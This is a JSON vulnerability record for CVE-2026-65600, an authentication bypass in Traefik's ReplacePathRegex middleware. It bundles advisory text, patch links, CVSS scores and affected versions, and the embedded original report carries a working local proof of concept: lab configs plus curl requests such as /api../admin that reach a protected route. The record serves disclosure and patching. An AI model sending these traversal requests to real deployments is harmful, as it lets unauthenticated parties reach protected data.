{"id":"CVE-2026-65600","aliases":["CVE-2026-65600","GHSA-cxjq-mrr5-89rv","GO-2026-6208"],"related":[],"kind":"vulnerability","state":"published","title":"Traefik before v2.11.52 Authentication Bypass via ReplacePathRegex","summary":"Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex \"^/api(.*)\", replacement \"/$1\"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex \"^/api(.*)\", replacement \"/$1\"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin`\n5. No normalization check exists → path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require('http');\nconst path = require('path');\nconst server = http.createServer((req, res) => {\n  const normalized = path.posix.normalize(req.url.split('?')[0]);\n  res.setHeader('Content-Type', 'text/plain');\n  if (normalized === '/health') { res.writeHead(200); res.end('OK\\n'); }\n  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d && sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# → 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# → ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n</details>\n\n---","format":"markdown","source":"ghsa"},{"lang":"en","text":"Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware in github.com/traefik/traefik","format":"markdown","source":"go"},{"lang":"es","text":"Las versiones de Traefik menor o igual a v2.11.51, >= v3.6.0 menor o igual a v3.6.22, y >= v3.7.0 menor o igual a v3.7.6 contienen una omisión de autenticación a través de salto de ruta en el middleware ReplacePathRegex. Cuando ReplacePathRegex está configurado con una expresión regular que captura segmentos de ruta controlados por el usuario sin un separador de ruta obligatorio (p. ej., expresión regular \"^/api(.*)\", reemplazo \"/$1\"), el middleware reenvía la ruta reemplazada al backend sin validar que coincide con su forma normalizada. Un atacante remoto no autenticado puede enviar una solicitud manipulada (p. ej., GET /api../admin) que produce una ruta no normalizada como /../admin, que un backend que normaliza rutas resuelve a una ruta protegida, omitiendo el middleware de autenticación. Corregido en v2.11.52, v3.6.23, y v3.7.7.","source":"nvd"}],"published":"2026-07-22T11:21:46.783Z","modified":"2026-10-24T13:10:00.147Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.11.52","status":"affected"},{"type":"semver","version":"2.11.52","status":"unaffected"}],"vendor":"traefik","product":"traefik","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.6.0","fixed":"3.6.23","status":"affected"},{"type":"semver","version":"3.6.23","status":"unaffected"}],"vendor":"traefik","product":"traefik","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.7.0","fixed":"3.7.7","status":"affected"},{"type":"semver","version":"3.7.7","status":"unaffected"}],"vendor":"traefik","product":"traefik","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.11.52"}],"ecosystem":"Go","package":"github.com/traefik/traefik/v2","purl":"pkg:golang/github.com/traefik/traefik/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.23"}],"ecosystem":"Go","package":"github.com/traefik/traefik/v3","purl":"pkg:golang/github.com/traefik/traefik/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.7.0","status":"affected","fixed":"3.7.7"}],"ecosystem":"Go","package":"github.com/traefik/traefik/v3","purl":"pkg:golang/github.com/traefik/traefik/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.7.34"}],"ecosystem":"Go","package":"github.com/traefik/traefik","purl":"pkg:golang/github.com/traefik/traefik","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/traefik/traefik","purl":"pkg:golang/github.com/traefik/traefik","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.11.52"}],"ecosystem":"Go","package":"github.com/traefik/traefik/v2","purl":"pkg:golang/github.com/traefik/traefik/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.23"},{"type":"semver","introduced":"3.7.0","status":"affected","fixed":"3.7.7"}],"ecosystem":"Go","package":"github.com/traefik/traefik/v3","purl":"pkg:golang/github.com/traefik/traefik/v3","source":"go"},{"ranges":[{"status":"affected","fixed":"2.11.52"},{"status":"affected","introduced":"3.6.0","fixed":"3.6.23"},{"status":"affected","introduced":"3.7.0","fixed":"3.7.7"}],"vendor":"traefik","product":"traefik","cpe":"cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv","tags":["advisory","patch","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65600","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/traefik/traefik","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/traefik/traefik/releases/tag/v2.11.52","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/traefik/traefik/releases/tag/v3.6.23","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/traefik/traefik/releases/tag/v3.7.7","tags":["web"],"sources":["ghsa","go"]}],"credits":["C-h4ck-0"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-07-23T19:08:10.643Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-65600","url":"https://www.cve.org/CVERecord?id=CVE-2026-65600","licence":"CVE Terms of Use","modified":"2026-10-08T15:23:54.243Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cxjq-mrr5-89rv","url":"https://github.com/advisories/GHSA-cxjq-mrr5-89rv","licence":"CC-BY-4.0","modified":"2026-08-18T15:10:35.177Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6208","url":"https://pkg.go.dev/vuln/GO-2026-6208","licence":"CC-BY-4.0","modified":"2026-08-18T15:00:25.649Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-65600","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65600","licence":"Public domain","modified":"2026-10-24T13:10:00.147Z"}],"updatedAt":"2026-11-25T22:59:29.811Z","epss":{"score":0.01276,"percentile":0.70766,"date":"2026-12-01T12:00:22.000Z"}}